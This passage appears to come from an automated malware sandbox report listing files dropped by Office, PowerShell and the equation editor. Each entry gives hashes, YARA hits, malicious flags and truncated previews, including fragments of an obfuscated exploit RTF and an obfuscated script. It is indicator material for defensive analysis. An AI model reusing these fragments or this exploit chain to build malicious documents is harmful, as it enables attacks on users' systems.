SHA-256:	97C991C620C58AB38A883A999293E4F827EFBFB07882DD786177D145D52EB80D
SHA-512:	DEC423C9B465C099F89DDA3E2F3C1AF771DB3002C9410569749A2E24E8017ADAA4D29ACD5EE6325D72AD1359472AC10BEDFA95A13295583D6C5E649E68CAFB0F
Malicious:	false
Reputation:	low
Preview:	......M.eFy...z.j.{...D...%K...S,...X.F...Fa.q............................A.....I....$............e...X.F.k..n.>......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson[1].doc

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	80960
Entropy (8bit):	2.7611674974122504
Encrypted:	false
SSDEEP:	768:zqH1sxBKZ3kAdQVCF4tUzQwMXpgHWiEcHTeFK9i8eWkXtcW1:zKC635dQVtizQwMZgH8W6f1
MD5:	BB08F924D8E1BDC601C2FF9B31E10E0F
SHA1:	2BB89B597719AEB1C1E2B2625F6EEA7B3C868C00
SHA-256:	ADE4F2AB855284C27728CE653FF5E2D6155F293A263313C340895CD2A1916692
SHA-512:	1FD7141C8567A6B8154C19598C03C8A06E21882F0393006D8E8C1F6E07A3A2EA84EF3F55938951A75E48276D65ACDFB5D893B49157710DD2B089F74EC5A62634
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson[1].doc, Author: ditekSHen
Preview:	{\rtf1..{\\fKlODFZXCCH1GmNLdvRwqauSlgKKsIidoCA83Ske0PgaExinysjdwdgLJHjYzgZ86xAKoBa0JN8G6dmHRflMEPXJt4oylG31WU480qsGAyuCQEMS5BpHDJD1WwrjlSwu8j7hArO4a7IZi8FzwMCWQlW7Ep9zUf1UyZcApcv7biaWWlDW059GPBDG3czuVJ4O3uqiWWF1Ff}..{\208625193@3.?](.2!-?~)\|2?<?:.72#?`~005=_?1=;?`119%?.1^=+%)-:.)~9!>~(^@~5[?-<?73_~+.$%;#@@1.?~%8.&^&``../#??@67.!\|5?.4-6-3:8?&5'^8_'?(!/?'.\|!;&2~`4.%<?_/-.+5..092>\|\|:-??$<?%&..0'/.%`.@.4?=0?)4.6,#%6>???.,<9?'..]+_17?/5%3?(?%=8:][\|'6.<#.5;:)?55/.#@8)\|\|!?^..:??0.[?>&~0,1%-5.%/?4$\|0-]5_>]9??-<^.]\|$[<?.&<`?>%$.(=>'_]3???.,0~.'1?6[5&82?~^:?@5><>4;?%.%3?7+>4\|(`%6$0@\|?;+_9),_=.\|,,>(&#<(0]@<\|0?>'[)%(=?;5~%>]('6/?/?4-!,;??.3=6.62,?5:??`?1_.933!.][??+2=\|[';?'?[?,433?@(:2\|[].('3++5#>1^/=2[-[#&4/77<3:;@-'^1@2:/8;9^<.-?&)>$-`.?'+&-0]?<.$),+/?274#-!:#[=~?+1?,?%]68$0.?@????>.0?034[^;.~<!.^+,0.?<>.7)?!%98~?7.%&^-4)00?=#%./1?)@&@<+-\|2$8&.\|)7?`(.;[[_~?-)6%1>6[%?%,0?$7?7[<:/?./?>^)?1_3\|+.$~27?%&6??].;#.6.<&?_7]9+]#.+?^!.19\|6<%?^#>.#1(.0~,5.~%+(08~;4~$,#>;^'[^.<2.3[[?.]6_~%$

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\nicepicturewithyourebodygreen[1].tiff

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	287788
Entropy (8bit):	3.7504621377581446
Encrypted:	false
SSDEEP:	6144:B67qps7ACJHiVKcfGDFrAjG/1e5iXS3VgIOn1SMTXAPwNox:uqps7ACIhUFUjG/qii3Vgfn1SMMPVx
MD5:	9AD8FFC121555E095C50E055C94F5C1E
SHA1:	880257375B655F27C6CB156BC295574BBDA06130
SHA-256:	D96A7A5F278ECED0B23141D34A5A8A465D88085D4E0007D201EFB6C1F2DE34B0
SHA-512:	D9C6ABDD4F3239E4099791BE19721500214A38ED4665FF81D97865AFCA18D0E79DE1C0734DC31790A0BF051880C7F7B563AC171EE624CDD1F90B2B44C018D448
Malicious:	false
Preview:	..Z.z.v.l.L.G.T.W.W.t.G.k.L.L.a.L.R.l.i.W.O.I.b.c.s.J.W.H.c.U.z. .=. .".s.t.f.U.A.t.W.J.k.C.K.n.U.L.R.R.A.z.W.i.W.z.h.R.L.x.S.G.N.K.K.".....U.T.h.C.a.b.a.l.a.d.o.B.K.L.i.m.h.z.e.h.z.j.L.i.B.c.G.b.i.G.c.b.L.Z.P.L. .=. .".p.k.U.i.l.c.x.a.K.n.R.o.h.n.K.k.B.L.L.K.W.L.L.U.t.a.A.n.W.n.B.".....o.m.N.B.k.C.m.i.p.Z.n.h.l.m.g.b.d.a.B.A.e.L.j.G.z.Z.v.U.c.K.i. .=. .".W.R.a.k.L.U.p.K.Z.R.K.I.e.c.i.U.l.o.L.b.g.G.U.c.i.H.d.p.b.j.Z.".....C.L.c.p.m.d.x.g.P.c.L.W.P.P.i.K.K.A.o.I.S.j.P.t.L.q.x.L.K.f.l. .=. .".v.L.c.A.t.L.W.W.C.C.j.f.n.p.Z.N.q.K.G.d.R.L.A.z.i.P.A.i.x.W.L.".....q.L.W.U.A.k.N.A.b.G.e.G.b.u.c.u.b.o.f.c.U.e.K.h.L.i.x.e.K.W.b. .=. .".c.b.z.p.U.z.A.z.W.d.v.x.K.s.a.i.U.q.b.k.T.O.W.f.q.G.o.z.k.x.f.".....G.l.G.K.c.m.x.W.a.R.K.B.G.W.L.L.x.b.s.N.k.x.L.B.u.U.Q.c.u.t.b. .=. .".j.t.p.h.m.e.b.P.J.x.I.f.C.P.f.k.Z.A.G.h.C.O.W.x.i.G.c.c.W.x.d.".....s.P.A.o.U.z.l.c.N.P.r.L.W.c.H.f.n.W.z.e.Z.K.U.W.l.i.U.h.b.P.m. .=. .".l.i.c.L.R.c.R.U.x.L.d.W.m.P.k.a.W.p.G.i.L.K.W.L.W.p.a.k.i.b.Q.".....b.W.i.H.W.W.N.G.W.m.k.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5C750F4.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3921492
Entropy (8bit):	3.1095518398201056
Encrypted:	false
SSDEEP:	12288:3Hs1S7ri2/rkty00vHneHwiS4ri2/5Mh600xr:3H/7ri2DktylHneH84ri2RMh6/r
MD5:	5869A5B09249C16416038F8A2830F256
SHA1:	1B0EFDF66C11530863F8ACCE6F6C3E3E0A2FB13E
SHA-256:	C1B5154CB5B39832878FEE32C2F7F6E7771645E7DAC980DA3EEBC0AB12F77A52
SHA-512:	B7C36A9268398CB7C990F1B1A40CF94A8E92AF4A53C5332995F0AAF305087E7119E70D9CE698A53E949B147F3E202862F9335CE5D0AA2DA0E9837C779EF85904
Malicious:	false
Preview:	....l...............I............N...E.. EMF....T.;.............................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................'......."...........!...............................................'......."...........!...............................................'......."...........!...............................................'......."...........!...............................................'......."...........!...............................................'...............................T...L..........................A...A............L.......................L..."...........!...............................................'......."...........!...............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C899BC08.doc

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	80960
Entropy (8bit):	2.7611674974122504
Encrypted:	false
SSDEEP:	768:zqH1sxBKZ3kAdQVCF4tUzQwMXpgHWiEcHTeFK9i8eWkXtcW1:zKC635dQVtizQwMZgH8W6f1
MD5:	BB08F924D8E1BDC601C2FF9B31E10E0F
SHA1:	2BB89B597719AEB1C1E2B2625F6EEA7B3C868C00
SHA-256:	ADE4F2AB855284C27728CE653FF5E2D6155F293A263313C340895CD2A1916692
SHA-512:	1FD7141C8567A6B8154C19598C03C8A06E21882F0393006D8E8C1F6E07A3A2EA84EF3F55938951A75E48276D65ACDFB5D893B49157710DD2B089F74EC5A62634
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C899BC08.doc, Author: ditekSHen
Preview:	{\rtf1..{\\fKlODFZXCCH1GmNLdvRwqauSlgKKsIidoCA83Ske0PgaExinysjdwdgLJHjYzgZ86xAKoBa0JN8G6dmHRflMEPXJt4oylG31WU480qsGAyuCQEMS5BpHDJD1WwrjlSwu8j7hArO4a7IZi8FzwMCWQlW7Ep9zUf1UyZcApcv7biaWWlDW059GPBDG3czuVJ4O3uqiWWF1Ff}..{\208625193@3.?](.2!-?~)\|2?<?:.72#?`~005=_?1=;?`119%?.1^=+%)-:.)~9!>~(^@~5[?-<?73_~+.$%;#@@1.?~%8.&^&``../#??@67.!\|5?.4-6-3:8?&5'^8_'?(!/?'.\|!;&2~`4.%<?_/-.+5..092>\|\|:-??$<?%&..0'/.%`.@.4?=0?)4.6,#%6>???.,<9?'..]+_17?/5%3?(?%=8:][\|'6.<#.5;:)?55/.#@8)\|\|!?^..:??0.[?>&~0,1%-5.%/?4$\|0-]5_>]9??-<^.]\|$[<?.&<`?>%$.(=>'_]3???.,0~.'1?6[5&82?~^:?@5><>4;?%.%3?7+>4\|(`%6$0@\|?;+_9),_=.\|,,>(&#<(0]@<\|0?>'[)%(=?;5~%>]('6/?/?4-!,;??.3=6.62,?5:??`?1_.933!.][??+2=\|[';?'?[?,433?@(:2\|[].('3++5#>1^/=2[-[#&4/77<3:;@-'^1@2:/8;9^<.-?&)>$-`.?'+&-0]?<.$),+/?274#-!:#[=~?+1?,?%]68$0.?@????>.0?034[^;.~<!.^+,0.?<>.7)?!%98~?7.%&^-4)00?=#%./1?)@&@<+-\|2$8&.\|)7?`(.;[[_~?-)6%1>6[%?%,0?$7?7[<:/?./?>^)?1_3\|+.$~27?%&6??].;#.6.<&?_7]9+]#.+?^!.19\|6<%?^#>.#1(.0~,5.~%+(08~;4~$,#>;^'[^.<2.3[[?.]6_~%$

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DBFF10C7.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3237596
Entropy (8bit):	2.941908215680894
Encrypted:	false
SSDEEP:	6144:JNpuoh+quNeNpVAZSedri2/OZGIuKO9l8J07uGOE68J0YHmDodYJhuRJiTeJa8Kd:xHniS4ri2/CGuIl00Rh600YHY3R
MD5:	886E5A977F3F446457EDB5D24FFD19A4
SHA1:	4FA4E9045B1064F6FBE7171E8C2FEA86E650B338
SHA-256:	A28F8FB1CFFFEE037FCF67A7858B4CE3155FCD18C268BBC4EE73BDE44C8BC478
SHA-512:	B3B0815B234496BB7AFCDFD57750BEC9672886BD9B96E189F4662A100667EAF956158B36BF22370EAB86AD3E785FBD32A03A2565E83BF0C36F9DB8127E1DB840
Malicious:	false
Preview:	....l............................T...F.. EMF.....f1.........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4D4D2FF.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	47140
Entropy (8bit):	3.156204322603732
Encrypted:	false
SSDEEP:	384:xdwvcwdV2rhfzK1QhEck9yKxIt3qad5i5KuzNxjDo:xdDoy6It75mKyA
MD5:	E74E525CE8067F6EE5388CB457C97485
SHA1:	1EB3031BA1F6BB51572663BBA551D065B90E4901
SHA-256:	3D576943B3A8619CAED01B561E9F639C4826602942552FA33D9A1037ED55321D
SHA-512:	7669A3F76FE8D9C191F0E1406E0A201E140561848F35A3495BFC0481EB5E32D7776B821D0C5799EB7336ED32D197DE168AD47D2DA544A6DF87309554F861C735
Malicious:	false
Preview:	....l...........;...............~@..xW.. EMF....$...[.......................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................<.......%...........%.......................R...p................................@..T.i.m.e.s. .N.e.w. .R.o.m.a.n.......................................................................av./............0......(......0.............. .......(......(......0......G..................Ax...N..............T.i.m.e.s. .N.e.w. .R.o...F.....6..................................................................dv......%...........%...........%.......................T...............!...q........i.@...@....Z.......L...............<.......p...0.8.6.2.5.1.9.3.@.3...?.].(...2.!...2...2...2...2...2...2...2...2...\...2.......-..."...!...(...2...!...............T...T...".......A...q........i.@...@"...Z.......L...............<...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F1361791.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3919640
Entropy (8bit):	3.109586010517866
Encrypted:	false
SSDEEP:	12288:EHRgSGri2/oVyL00KH2sHliS4ri2/32h6001q:EHTGri2AVyLIH2sHR4ri2/2h6bq
MD5:	AD5B063741C521880C04A4739CD29A12
SHA1:	6634874A30DB4384B0EBF882261762FBF9B3212F
SHA-256:	257E06D8A62128C65F47C0185407AAB2144DC47B387AE986728DD3CEDEF33DF2
SHA-512:	CB6D041B561897B5107810C69E001977B9F168B4DFC734846794D9AB97B71BBD158025B690BF1F4ABB50E00EA7E23B4A57401EED30195F8852C47BFBA79EBE9B
Malicious:	false
Preview:	....l............................H...@.. EMF......;.R.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!...............................................................................T...L.......................UU.A&..A............L.......................L..."...........!......................................................."...........!...............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	5.5670134814546595
Encrypted:	false
SSDEEP:	384:PcPg6mXSEFPb6IXSEmPb6FeDXSEmP16TXSEzPb6TXSE:iSU05FeTbjaj
MD5:	FC475C2E6F55A4BFE5AD85DD8F5C29E7
SHA1:	911C59C3A3DA4236BF893E5E049A268BEDC0A7C2
SHA-256:	3979C82BADAF612780196D093229210B01CA208AA9065942054C6D6F13A8D4EE
SHA-512:	8D206FC26E21F4ED0F3C01BF9AE4AFCDDFE6A42C0979801D80B2342F9A42953D1B027C0ED9BB619CDC2F39F85D29A291201E25284C76BF4F8D008AC7CD400868
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{28600D33-AC1C-42C0-9BBC-37F26F622114}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E77CF0E5-2D57-4B70-B1CD-79089E891866}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	3.586819497834099
Encrypted:	false
SSDEEP:	192:Kj3iXpHVmZveWqKlOu39NBN3aIt+Ho+Qi04i8x5crqJN0EXZ06qQ2bA7t:E3i7w/qK0I9R3aItuA4iVrqJN0EXZ3qk
MD5:	8FF9B4B44550382B1199BA06A8275CA9
SHA1:	6351CC128FD4949E59D778C3B6D8068AFFA11C37
SHA-256:	FF4B3CC9CF93BA352134F290550F2F847AAAB31FD0ECB680AD3FD320B4BA514C
SHA-512:	7E5771B1EE3FFBE2F0C50C52898C349821592C393896B3AA89E5CE2A01AD9287550EDB368D2EADFC9F0BCD9CDF0FB39F173218C6B12E33182AD31125CB086179
Malicious:	false
Preview:	0.8.6.2.5.1.9.3.@.3...?.].(...2.!.-.?.~.).\|.2.?..<.?.:...7.2.#.?.`.~.0.0.5.=._.?.1.=.;.?.`.1.1.9.%..?...1.^.=.+.%.).-.:...).~.9.!.>.~.(.^.@.~.5.[.?.-.<.?.7.3._.~.+...$.%.;.#.@.@.1...?.~.%.8...&.^.&.`.`...../.#.?.?.@.6.7...!.\|.5.?...4.-.6.-.3.:.8.?.&.5.'.^.8._.'.?.(.!./.?.'...\|.!.;.&.2.~.`.4...%.<.?._./.-...+.5.....0.9.2.>.\|.\|.:.-..?.?.$.<.?.%.&.....0.'./...%.`...@...4.?.=.0.?.).4....6.,.#.%.6.>.?.?.?...,.<.9.?.'.....].+._.1.7.?./.5.%.3.?.(.?.%.=.8.:.].[.\|.'.6...<.#...5.;.:.).?.5.5./...#.@.8.).\|.\|.!.?.^.....:.?.?.0...[.?.>.&.~.0.,.1.%..-.5...%./.?.4.$.\|.0.-.].5._.>.].9.?.?.-.<.^...].\|.$.[.<.?...&.<.`.?.>.%.$...(.=.>.'._.].3.?.?.?...,.0.~...'.1.?.6.[..5.&.8.2.?.~.^.:.?.@.5.>.<.>.4.;.?.%...%.3.?.7.+.>.4.\|.(.`.%.6.$.0.@.\|.?.;.+._..9.).,._.=...\|.,.,.>.(.&.#.<.(.0.].@.<.\|.0.?.>.'.[..).%.(.=.?.;.5.~.%.>.].(..'.6./.?./.?.4.-.!.,.;.?.?...3.=.6...6.2.,.?.5.:.?.?.`.?.1._...9.3.3.!...]..[.?.?.+.2.=.\|.[.'.;.?.'.?.[..?..,.4.3.3.?.@.(.:.2.\|.[.]...(.'.3.+.+.5.#.>.1.^./.=.2.[.-.[.#.&.4./.7.

C:\Users\user\AppData\Local\Temp\2b3sh2g3.k5x.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\3cvvougz.gd4.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\unfdpjy4.2z5.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zl4k3cti.br0.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\{3D69CD18-9C69-4A75-B17F-F7E558D156C8}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025480960723298182
Encrypted:	false
SSDEEP:	6:I3DPcdNvxggLRbpHtr1YFRXv//4tfnRujlw//+GtluJ/eRuj:I3DPEBjr1uvYg3J/
MD5:	9E9B0D079437F4F8167DDADD8B39496B
SHA1:	2B529969BA99DA2CF85843BAEE75FF7D53A46D7C
SHA-256:	0766CD1B9791E8CA4DED026ACADE2BBFA29AECB279D8C0299AA663BE821C5D4F
SHA-512:	75A93F0A95B5BBE7CE9C435B50AC45CA2916AC1070F0610C271449686B1EF6BA6DE4937E85B280CF59648A7419B3DE5E7CACA692F9444473D74B7DB066DF2A00
Malicious:	false
Preview:	......M.eFy...zM.x'1..A.....'wVS,...X.F...Fa.q...................................K.k.. =...........U...@.A.~4.b.q......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{D4F2A336-45A1-400E-A092-503662D6E61A}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025361166851056896
Encrypted:	false
SSDEEP:	6:I3DPcU3djHvxggLRSjkm3rRXv//4tfnRujlw//+GtluJ/eRuj:I3DPT4X3tvYg3J/
MD5:	B67A0CD7BAF53E71776D0DE71B2FD003
SHA1:	26AA47FFD54707E6F8D7E08CFA0F5C1FFBBFB86E
SHA-256:	97C991C620C58AB38A883A999293E4F827EFBFB07882DD786177D145D52EB80D
SHA-512:	DEC423C9B465C099F89DDA3E2F3C1AF771DB3002C9410569749A2E24E8017ADAA4D29ACD5EE6325D72AD1359472AC10BEDFA95A13295583D6C5E649E68CAFB0F
Malicious:	false
Preview:	......M.eFy...z.j.{...D...%K...S,...X.F...Fa.q............................A.....I....$............e...X.F.k..n.>......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF59A7707E25171593.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	339968
Entropy (8bit):	7.769372701407828
Encrypted:	false
SSDEEP:	6144:hTXU+xUOA8HH6InGM7HRgNbnFto8++wXbgcl0WDL4yQfL6fkAv5W:hT5UOAsHFnd7HeT/o8gg8Rsfe8sW
MD5:	8E0859453D2EB9035369BF54B34CEF85
SHA1:	3E561BC65EF3651CA35B37B86D85D2AD6C01EF73
SHA-256:	09F136F83A338CF4D5F1F94ACC24AD7E11D5D964C92B22168B4BB386A97DD17F
SHA-512:	B8EADE4F09A082205B8C2862F74B80D2E0B16D36A738020E4B14326690DC3CA128E9679EF2DDB3C945B1F8EBCB1A215E6C38A7C19191364D748EF4568A8CC1FE
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF73D3CB013F39347A.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFCE2419FB28151868.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	333824
Entropy (8bit):	7.884316157855682
Encrypted:	false
SSDEEP:	6144:RTXU+xUOA8HH6InGM7HRgNbnFto8++wXbgcl0WDL4yQfL6fkAv5W:RT5UOAsHFnd7HeT/o8gg8Rsfe8sW
